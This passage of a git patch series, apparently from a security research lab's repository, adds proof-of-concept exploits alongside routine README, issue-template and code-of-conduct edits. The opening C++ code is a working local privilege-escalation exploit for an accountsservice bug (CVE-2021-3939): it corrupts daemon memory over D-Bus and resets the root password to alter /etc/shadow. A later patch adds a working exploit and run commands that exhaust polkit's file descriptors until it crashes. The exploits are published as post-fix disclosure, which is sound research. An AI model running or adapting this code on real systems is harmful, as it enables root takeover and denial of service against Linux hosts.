+    const char* password,
+    const char* hint,
+    reply_cb_t cb
+  ) {
+    send_call(
+      DBusMessageBody::mk(
+        _vec<std::unique_ptr<DBusObject>>(
+          DBusObjectString::mk(_s(password)),
+          DBusObjectString::mk(_s(hint))
+        )
+      ),
+      _s(userpath),
+      _s("org.freedesktop.Accounts.User"),
+      _s("org.freedesktop.Accounts"),
+      _s("SetPassword"),
+      cb
+    );
+
+    return 0;
+  }
+
+  virtual int attempt_exploit() = 0;
+};
+
+class AccountsHandler : public AccountsHandlerBase {
+  EPollManager& manager_;
+
+  // std::random is used to vary the batch sizes on each run, because
+  // it's difficult to know which batch sizes are the most likely to
+  // succeed.
+  std::uniform_int_distribution<> batchsize_distrib_;
+  std::uniform_int_distribution<> microsec_distrib_;
+
+  size_t batch_size_ = 0;
+
+private:
+  int quit() {
+    return -1;
+  }
+
+  void choose_batch_size() {
+    batch_size_ = batchsize_distrib_(gen_);
+    printf("[AccountsHandler]   batch size: %ld\n", batch_size_);
+    fflush(stdout);
+  }
+
+public:
+  AccountsHandler(
+    const ProgramInfo& info,
+    EPollManager& manager
+  ) :
+    AccountsHandlerBase(info),
+    manager_(manager),
+    batchsize_distrib_(0,128),
+    microsec_distrib_(0,999)
+  {}
+
+  virtual ~AccountsHandler() override {
+    manager_.accounts_delete();
+  }
+
+  void stop() const {
+    shutdown(sock_, SHUT_RDWR);
+  }
+
+  void accept() override final {
+    manager_.set_accounts_handler(this);
+    send_hello(
+      [this](const std::string& busname) -> int {
+        printf("[AccountsHandler]   Unique bus name: %s\n", busname.c_str());
+        fflush(stdout);
+
+        return findUserByID(
+          info_.uid_,
+          [this](const char* userpath, bool isError) -> int {
+            if (isError) {
+              return quit();
+            } else {
+              my_objectpath_ = userpath;
+              return attempt_exploit();
+            }
+          }
+        );
+      }
+    );
+  }
+
+  void logerror(const char* errmsg) noexcept override final {
+    fprintf(stderr, "[AccountsHandler]   %s\n", errmsg);
+    fflush(stderr);
+  }
+
+  int attempt_exploit() {
+    choose_batch_size();
+
+    return findUserByID(
+      0,
+      [this](const char* rootpath, bool isError) -> int {
+        if (isError) {
+          // Something went wrong. Try again.
+          return attempt_exploit();
+        } else {
+          root_objectpath_ = rootpath;
+
+          const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+          printf("[AccountsHandler]   Starting exploit. PID: %u\n", pid);
+          fflush(stdout);
+
+          for (size_t i = 0; i < batch_size_; i++) {
+            // Change the email address to jumble the memory.
+            snprintf(
+              email_, sizeof(email_),
+              "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com",
+              i
+            );
+
+            accounts_set_property(
+              my_objectpath_.c_str(), "SetEmail", email_,
+              [this](const DBusMessage&, bool) -> int {
+                return 0;
+              }
+            );
+
+            // password: KrabbyPatties
+            const char* password =
+              "$5$PPF4wUn4slXL6X09$39P6jDAQVDzE5s2kpoJVUxcoQGFtyvhiynlKMtNWlt4";
+            // hint is long enough that it won't fit in an 0x20-sized chunk.
+            const char* hint = "Most famous burger in Bikini Bottom";
+            accounts_set_password(
+              root_objectpath_.c_str(), password, hint,
+              [this](const DBusMessage&, bool isError) -> int {
+                if (isError) {
+                  return 0;
+                } else {
+                  printf("[AccountsHandler]   SetPassword succeeded!\n");
+                  fflush(stdout);
+                  return quit();
+                }
+              }
+            );
+          }
+
+          // One final email change, for synchronization purposes.
+          return accounts_set_property(
+            my_objectpath_.c_str(), "SetEmail", email_,
+            [this](const DBusMessage&, bool isError) -> int {
+              // Cancel any queued polkit requests.
+              PolkitHandler* polkit_handler = manager_.polkit_handler();
+              if (!polkit_handler) {
+                return quit();
+              }
+              polkit_handler->cancel_auth_requests(std::numeric_limits<size_t>::max());
+
+              printf("[AccountsHandler]   SetEmail isError = %d\n", isError);
+              const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+              printf("[AccountsHandler]   End iteration. PID: %d\n", pid);
+              fflush(stdout);
+
+              // Wait for 0..1 seconds before the next iteration.
+              timespec duration;
+              duration.tv_sec = 0;
+              duration.tv_nsec = microsec_distrib_(gen_) * 1000000;
+              clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
+
+              if (info_.exploit_succeeded()) {
+                return quit();
+              } else {
+                return attempt_exploit();
+              }
+            }
+          );
+        }
+      }
+    );
+  }
+};
+
+class TriggerBugHandler : public AccountsHandlerBase {
+  EPollManager& manager_;
+
+  // std::random is used to vary the batch sizes on each run, because
+  // it's difficult to know which batch sizes are the most likely to
+  // succeed.
+  std::uniform_int_distribution<> batchsize_distrib_;
+
+  size_t batch_size_ = 0;
+
+private:
+  void choose_batch_size() {
+    batch_size_ = batchsize_distrib_(gen_);
+    printf("[TriggerBugHandler] batch size: %ld\n", batch_size_);
+    fflush(stdout);
+  }
+
+public:
+  explicit TriggerBugHandler(
+    const ProgramInfo& info,
+    EPollManager& manager
+  ) :
+    AccountsHandlerBase(info),
+    manager_(manager),
+    batchsize_distrib_(0,32)
+  {}
+
+  virtual ~TriggerBugHandler() override {
+    manager_.trigger_bug_delete();
+  }
+
+  void stop() const {
+    shutdown(sock_, SHUT_RDWR);
+  }
+
+protected:
+  void accept() override final {
+    send_hello(
+      [this](const std::string& busname) -> int {
+        printf("[TriggerBugHandler] Unique bus name: %s\n", busname.c_str());
+        fflush(stdout);
+
+        return findUserByID(
+          info_.uid_,
+          [this](const char* userpath, bool isError) -> int {
+            if (isError) {
+              return quit();
+            } else {
+              my_objectpath_ = userpath;
+              return attempt_exploit();
+            }
+          }
+        );
+      }
+    );
+  }
+
+  void logerror(const char* errmsg) noexcept override final {
+    fprintf(stderr, "[TriggerBugHandler] %s\n", errmsg);
+    fflush(stderr);
+  }
+
+  // This function triggers the bug by removing `~/.pam_environment` and
+  // calling the "SetLanguage" method.
+  int trigger_bug(reply_cb_t cb) {
+    unlink(pam_env_path_.c_str());
+    return accounts_set_property(
+      my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb
+    );
+  }
+
+  int attempt_exploit() {
+    choose_batch_size();
+
+    const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+    printf("[TriggerBugHandler] Starting exploit. PID: %u\n", pid);
+    fflush(stdout);
+
+    for (size_t i = 0; i < batch_size_; i++) {
+      // Change the email address to jumble the memory.
+      snprintf(
+        email_, sizeof(email_),
+        "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com",
+        i
+      );
+
+      accounts_set_property(
+        my_objectpath_.c_str(), "SetEmail", email_,
+        [this](const DBusMessage&, bool isError) -> int {
+          if (isError) {
+            return quit();
+          } else {
+            return 0;
+          }
+        }
+      );
+    }
+
+    return trigger_bug(
+      [this](const DBusMessage&, bool isError) -> int {
+        printf("[TriggerBugHandler] trigger bug:  isError = %d\n", (int)isError);
+        fflush(stdout);
+
+        // One final email change, for synchronization purposes.
+        return accounts_set_property(
+          my_objectpath_.c_str(), "SetEmail", email_,
+          [this](const DBusMessage&, bool isError) -> int {
+            printf("[TriggerBugHandler] SetEmail isError = %d\n", isError);
+            const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
+            printf("[TriggerBugHandler] End iteration. PID: %d\n", pid);
+            fflush(stdout);
+
+            // accounts-daemon restarts will get rate-limited if it crashes more
+            // than 5 times in 10 seconds. It typically crashes after triggering
+            // the bug twice, so wait for 1 second before the next iteration.
+            sleep(1);
+
+            if (info_.exploit_succeeded()) {
+              return quit();
+            } else {
+              return attempt_exploit();
+            }
+          }
+        );
+      }
+    );
+  }
+};
+
+void EPollManager::stop() const {
+  if (polkit_handler_) {
+    polkit_handler_->stop();
+  }
+  if (accounts_handler_) {
+    accounts_handler_->stop();
+  }
+  if (trigger_bug_handler_) {
+    trigger_bug_handler_->stop();
+  }
+}
+
+int main(int argc, char* argv[]) {
+  const char* progname = argc > 0 ? argv[0] : "a.out";
+  if (argc != 2) {
+    fprintf(
+      stderr,
+      "usage:   %s <unix socket>\n"
+      "example: %s /var/run/dbus/system_bus_socket\n",
+      progname,
+      progname
+    );
+    return EXIT_FAILURE;
+  }
+
+  const char* dbus_socket_path = argv[1];
+
+  try {
+    const pid_t cpid = fork();
+    if (cpid < 0) {
+      throw ErrorWithErrno("fork failed");
+    }
+
+    ProgramInfo info(dbus_socket_path);
+
+    do {
+      EPollLoop loop;
+      EPollManager manager(loop);
+
+      if (cpid > 0) {
+        // In the child process, we just continually trigger the bug at
+        // 1-second intervals.
+        DBusAuthHandler* trigger_bug_auth_handler =
+          new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager));
+        if (loop.add_handler(trigger_bug_auth_handler) < 0) {
+          throw Error(_s("Failed to add TriggerBugHandler"));
+        }
+      } else {
+        DBusAuthHandler* polkit_auth_handler =
+          new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
+        if (loop.add_handler(polkit_auth_handler) < 0) {
+          throw Error(_s("Failed to add PolkitHandler"));
+        }
+
+        DBusAuthHandler* accounts_auth_handler =
+          new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
+        if (loop.add_handler(accounts_auth_handler) < 0) {
+          throw Error(_s("Failed to add AccountsHandler"));
+        }
+      }
+
+      loop.run();
+    } while (!info.exploit_succeeded());
+
+    if (cpid > 0) {
+      waitpid(cpid, 0, 0);
+      printf("%s was modified!\n", etc_shadow_path);
+    }
+  } catch (ErrorWithErrno& e) {
+    const int err = e.getErrno();
+    fprintf(stderr, "%s\n%s\n", e.what(), strerror(err));
+    return EXIT_FAILURE;
+  } catch (std::exception& e) {
+    fprintf(stderr, "%s\n", e.what());
+    return EXIT_FAILURE;
+  }
+
+  return EXIT_SUCCESS;
+}

From 035ea10d414681855f3bcf162e2a6d144f9eafa6 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Thu, 9 Dec 2021 14:49:58 +0000
Subject: [PATCH 078/104] Update
 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 .../README-build-accountsservice.md                             | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md
index d32740e..7446e69 100644
--- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md
@@ -25,7 +25,7 @@ sudo dpkg -i ../*.deb
 
 ## How to build with address sanitizer (ASAN)
 
-The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors lie `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this:
+The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors like `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this:
 
 ```
 diff --git a/src/meson.build b/src/meson.build

From 2412001d560f55cc8250f0108b8c26b88e7c4449 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Thu, 9 Dec 2021 22:50:09 +0000
Subject: [PATCH 079/104] Bug slayer new form

---
 .github/ISSUE_TEMPLATE/bug-slayer.md  | 26 -----------
 .github/ISSUE_TEMPLATE/bug-slayer.yml | 66 +++++++++++++++++++++++++++
 2 files changed, 66 insertions(+), 26 deletions(-)
 delete mode 100644 .github/ISSUE_TEMPLATE/bug-slayer.md
 create mode 100644 .github/ISSUE_TEMPLATE/bug-slayer.yml

diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.md b/.github/ISSUE_TEMPLATE/bug-slayer.md
deleted file mode 100644
index 15abd8a..0000000
--- a/.github/ISSUE_TEMPLATE/bug-slayer.md
+++ /dev/null
@@ -1,26 +0,0 @@
----
-name: The Bug Slayer bounty submission
-about: Submit a CodeQL query for The Bug Slayer bounty (https://securitylab.github.com/bounties)
-title: "[USERNAME]: [SUMMARY]"
-labels: The Bug Slayer
-assignees: ''
-
----
-
-## Query
-
-*OPTIONAL - Link to pull request with your CodeQL query:*
-
-Relevant PR: https://github.com/github/codeql/pull/nnnn
-
-## CVE ID(s)
-
-*List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).*
-
-- CVE-20nn-nnnnn
-
-## Report
-
-*Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community.*
-
-- [ ] Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing*
diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.yml b/.github/ISSUE_TEMPLATE/bug-slayer.yml
new file mode 100644
index 0000000..f08489f
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug-slayer.yml
@@ -0,0 +1,66 @@
+name: The Bug Slayer bounty submission
+description: Submit a CodeQL query for the Bug Slayer bounty (https://securitylab.github.com/bounties)
+title: "[<language>]: <short description>"
+labels: [The Bug Slayer]
+body:
+  - type: markdown
+    attributes:
+      value: |
+        # Introduction
+
+        Thank you for your submission to the bounty program!
+
+        After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program.
+
+        Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/)
+
+        # Questionnaire
+  - type: textarea
+    id: cve_ids
+    attributes:
+      label: CVE(s) ID list
+      description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. You need at least four high severity CVEs or two critical severity CVEs. 
+      placeholder: |
+        ex.
+        - [CVE-20nn-xxxx](<relevant URL>)
+        - [CVE-20nn-yyyy](<relevant URL>)
+    validations:
+      required: true
+  - type: input
+    id: a41_url 
+    attributes:
+      label: All For One submission
+      description: Link to the All For One submission with your CodeQL query
+      placeholder: |
+        ex. https://github.com/github/securitylab/issues/nnn
+    validations:
+      required: true
+  - type: textarea
+    id: details
+    attributes:
+      label: Details
+      description: Detail here how you found each CVE with your query. You can provide LGTM results, links to codeql DBs, ... anything that demonstrates that your query finds each CVE.
+      placeholder: |
+        ex.
+        - link/to/my/lgtm/runs
+        - link/to/gist/with/modified/query
+        - link/to/codeql/db
+    validations:
+      required: true
+  - type: checkboxes
+    id: social 
+    attributes:
+      label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc).
+      description: We would love to have you spread the word about the good work you are doing
+      options:
+        - label: "Yes"
+        - label: "No"
+    validations:
+      required: true
+  - type: input
+    id: social_url
+    attributes:
+      label: Blog post link
+      description: If you have already blogged about your query, please provide a link.
+    validations:
+      required: false

From 26e5ca0808befcf6d5d1f7ae035b672d4f8d5e7b Mon Sep 17 00:00:00 2001
From: jorgectf <jorgectf@protonmail.com>
Date: Thu, 16 Dec 2021 17:44:25 +0100
Subject: [PATCH 080/104] Add article to `README.md`

---
 README.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.md b/README.md
index b1d530d..8eb63db 100644
--- a/README.md
+++ b/README.md
@@ -34,6 +34,10 @@ We use it for these main purposes:
   * [pull_request_target with explicit pull request checkout](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql)
   * [Command injection from user-controlled Actions context](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql)
 
+### Articles
+
+* [Practical Introduction to CodeQL](https://jorgectf.gitlab.io/blog/post/practical-codeql-introduction/)
+
 ### Videos
 
 * Conference talks/workshops:

From e36442e7a1d95bb918c897e8ad61dde2e8302707 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Fri, 21 Jan 2022 11:41:44 -0800
Subject: [PATCH 081/104] Update README.md

[URGENT] Needed for supporting the Junior security researcher hiring exercise
---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index 8eb63db..220e7c5 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,7 @@
 This is the main git repository of [GitHub Security Lab](https://securitylab.github.com/).
 We use it for these main purposes:
 
+* We share with our community some best practices about security research and vulnerability disclosures in our [docs](/docs)
 * We use [issues on this repo](https://github.com/github/securitylab/issues?q=is%3Aissue+is%3Aopen+label%3A%22All+For+One%22) to track CodeQL [bounty requests](https://securitylab.github.com/bounties).
 * We use it for publishing some of our proof-of-concept exploits (after the vulnerability has been fixed). These PoCs can be found in the [SecurityExploits](SecurityExploits) sub-directory.
 * Examples of CodeQL queries, which can be found in the [CodeQL_Queries](CodeQL_Queries) sub-directory.

From 5620d911691644ddd03bcc62ea7aecc518655967 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Wed, 16 Feb 2022 12:45:20 +0000
Subject: [PATCH 082/104] PoC for file descriptor exhaustion in polkit
 (CVE-2021-4115)

---
 .gitmodules                                   |  3 +
 .../.gitignore                                |  1 +
 .../CMakeLists.txt                            | 30 ++++++
 .../DBusParse                                 |  1 +
 .../README.md                                 | 51 ++++++++++
 .../locksessions.cpp                          | 93 +++++++++++++++++++
 6 files changed, 179 insertions(+)
 create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore
 create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt
 create mode 160000 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
 create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md
 create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp

diff --git a/.gitmodules b/.gitmodules
index 5b523f5..819c96b 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -10,3 +10,6 @@
 [submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"]
 	path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
 	url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git
+[submodule "SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse"]
+	path = SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
+	url = https://github.com/kevinbackhouse/DBusParse
diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore
new file mode 100644
index 0000000..378eac2
--- /dev/null
+++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore
@@ -0,0 +1 @@
+build
diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt
new file mode 100644
index 0000000..52f153b
--- /dev/null
+++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt
@@ -0,0 +1,30 @@
+cmake_minimum_required(VERSION 3.10)
+
+enable_testing()
+
+# set the project name
+project(CVE-2021-4115-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for CVE-2021-4115: file descriptor exhaustion in polkit")
+
+# specify the C++ standard
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED True)
+
+option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF)
+
+add_compile_options(-Wall -Wextra -pedantic -Werror)
+
+if (USE_SANITIZERS)
+  set(SANITIZER_FLAGS "-fsanitize=address,undefined")
+  set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
+endif()
+
+add_subdirectory(DBusParse)
+
+add_executable(locksessions locksessions.cpp)
+target_link_libraries(locksessions PUBLIC DBusParse DBusParseUtils crypt)
+target_include_directories(
+        locksessions PRIVATE
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
new file mode 160000
index 0000000..b2c75ca
--- /dev/null
+++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse
@@ -0,0 +1 @@
+Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2
diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md
new file mode 100644
index 0000000..e753241
--- /dev/null
+++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md
@@ -0,0 +1,51 @@
+# CVE-2021-4115 (GHSL-2021-077)
+
+This repository contains a proof of concept exploit for
+[CVE-2021-4115](https://gitlab.freedesktop.org/polkit/polkit/-/issues/141):
+file descriptor exhaustion in
+[polkit](https://gitlab.freedesktop.org/polkit/polkit).
+
+# Build
+
+Instructions for building the PoC:
+
+```bash
+git submodule update --init  # Download https://github.com/kevinbackhouse/DBusParse
+mkdir build
+cd build
+cmake ..
+make
+```
+
+# Running
+
+The PoC causes polkit to leak eventfd file descriptors. After several runs
+of the PoC, polkit will leak so many file descriptors that it will crash
+due to exceeding its quota of file descriptors.
+
+First, check how many file descriptors polkit has open:
+
+```bash
+$ sudo ls -l /proc/`pidof polkitd`/fd | wc
+     12     123     680
+```
+
+Now run the PoC:
+
+```bash
+./locksessions /var/run/dbus/system_bus_socket 0x4000
+```
+
+(The PoC is named locksessions because it calls the
+org.freedesktop.login1.Manager.LockSessions D-Bus method.)
+
+Now check again how many file descriptors polkit has open:
+
+```
+$ sudo ls -l /proc/`pidof polkitd`/fd | wc
+    255    2796   16872
+```
+
+Notice that a large number of eventfd file descriptors have been
+leaked. After few more runs of the PoC, polkit will most likely
+crash.
diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp
new file mode 100644
index 0000000..8dce258
--- /dev/null
+++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp
@@ -0,0 +1,93 @@
+#include "dbus_utils.hpp"
+#include "dbus_auth.hpp"
+#include "utils.hpp"
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <unistd.h>
+
+class DBusSocket : public AutoCloseFD {
+public:
+  DBusSocket(const uid_t uid, const char* filename) :
+    AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
+  {
+    if (get() < 0) {
+      throw ErrorWithErrno("Could not create socket");
+    }
+
+    sockaddr_un address;
+    memset(&address, 0, sizeof(address));
+    address.sun_family = AF_UNIX;
+    strcpy(address.sun_path, filename);
+
+    if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
+      throw ErrorWithErrno("Could not connect socket");
+    }
+
+    dbus_sendauth(uid, get());
+
+    dbus_send_hello(get());
+    std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
+    std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
+    std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
+  }
+};
+
+static void send_logind_LockSessions(const int fd, const uint32_t serialNumber) {
+  dbus_method_call(
+    fd,
+    serialNumber,
+    DBusMessageBody::mk0(),
+    _s("/org/freedesktop/login1"),
+    _s("org.freedesktop.login1.Manager"),
+    _s("org.freedesktop.login1"),
+    _s("LockSessions")
+  );
+}
+
+// Keep trying `attempt_LockSessions_with_disconnect` with different
+// delay values until the exploit succeeds (or we decide to give up).
+static void exploit_LockSessions(
+  const uid_t uid,
+  const char* filename,
+  const long n
+) {
+  DBusSocket fd(uid, filename);
+
+  for (long i = 0; i < n; i++) {
+    send_logind_LockSessions(fd.get(), i+1);
+  }
+}
+
+static void usage(const char* progname) {
+  fprintf(
+    stderr,
+    "usage:   %s <unix socket path> <number of messages to send>\n"
+    "example: %s /var/run/dbus/system_bus_socket 4096\n",
+    progname,
+    progname
+  );
+}
+
+int main(int argc, char* argv[]) {
+  const char* progname = argc > 0 ? argv[0] : "a.out";
+  if (argc != 3) {
+    usage(progname);
+    return EXIT_FAILURE;
+  }
+
+  char* endptr = 0;
+  const long n = strtol(argv[2], &endptr, 0);
+  if (endptr == argv[2] || *endptr != '\0') {
+    usage(progname);
+    return EXIT_FAILURE;
+  }
+
+  const uid_t uid = getuid();
+  const char* filename = argv[1];
+
+  for (size_t i = 0; i < 1; i++) {
+    exploit_LockSessions(uid, filename, n);
+  }
+
+  return EXIT_SUCCESS;
+}

From 2d08542b6c1739030871c848770668681d1fc723 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 1 Mar 2022 13:40:32 -0800
Subject: [PATCH 083/104] Update CODE_OF_CONDUCT.md

---
 CODE_OF_CONDUCT.md | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index 3a64696..e5544f9 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -1,4 +1,4 @@
-# Contributor Covenant Code of Conduct
+# GitHun Security Lab Code of Conduct
 
 ## Our Pledge
 
@@ -45,10 +45,9 @@ threatening, offensive, or harmful.
 
 ## Scope
 
-This Code of Conduct applies within all project spaces, and it also applies when
-an individual is representing the project or its community in public spaces.
+This Code of Conduct applies within all project spaces such as but not limited to our repository content, issues and discussions, our public Slack workspace, our "office hours" meetings, and it also applies when an individual is representing the project or its community in public spaces.
 Examples of representing a project or community include using an official
-project e-mail address, posting via an official social media account, or acting
+project e-mail address, posting via an official social media account or acting
 as an appointed representative at an online or offline event. Representation of
 a project may be further defined and clarified by project maintainers.
 

From 766c224510ea41c38894dc094957df2475726358 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 1 Mar 2022 13:41:31 -0800
Subject: [PATCH 084/104] Update CODE_OF_CONDUCT.md

---
 CODE_OF_CONDUCT.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index e5544f9..344f770 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -47,7 +47,7 @@ threatening, offensive, or harmful.
 
 This Code of Conduct applies within all project spaces such as but not limited to our repository content, issues and discussions, our public Slack workspace, our "office hours" meetings, and it also applies when an individual is representing the project or its community in public spaces.
 Examples of representing a project or community include using an official
-project e-mail address, posting via an official social media account or acting
+project e-mail address, posting via an official social media account, or acting
 as an appointed representative at an online or offline event. Representation of
 a project may be further defined and clarified by project maintainers.
 

From 0b835330b3b1e9a279d0478afcf7a49cfbab498f Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 1 Mar 2022 13:42:00 -0800
Subject: [PATCH 085/104] Update CODE_OF_CONDUCT.md

---
 CODE_OF_CONDUCT.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index 344f770..e43e365 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -1,4 +1,4 @@
-# GitHun Security Lab Code of Conduct
+# GitHub Security Lab Code of Conduct
 
 ## Our Pledge
 

From 63d680cae714905eeda468503e203b83024c5a5e Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 1 Mar 2022 13:50:50 -0800
Subject: [PATCH 086/104] Update README.md

---
 README.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.md b/README.md
index 220e7c5..4a21db2 100644
--- a/README.md
+++ b/README.md
@@ -61,6 +61,10 @@ We use it for these main purposes:
   * [cqlgen](https://github.com/gagliardetto/cqlgen) — A codeql generation library written in Go.
   * [codemill](https://github.com/gagliardetto/codemill) — A codeql model generator for Go with a web UI. 
 
+## Disclaimer
+
+The recommendations from the GitHub Security Lab are provided graciously and it's ultimately the responsibility of the recipients to apply them or not. This concern recommendations given through our written or audio content, our conferences, our answers in our community spaces, or our informal office hours.
+
 ## Contributing
 
 We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README.

From 5816cd6f6c7e9cd9b90bdf25a84d6e750ad46196 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Tue, 1 Mar 2022 15:38:56 -0800
Subject: [PATCH 087/104] Update README.md

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 4a21db2..24bc4c1 100644
--- a/README.md
+++ b/README.md
@@ -63,7 +63,7 @@ We use it for these main purposes:
 
 ## Disclaimer
 
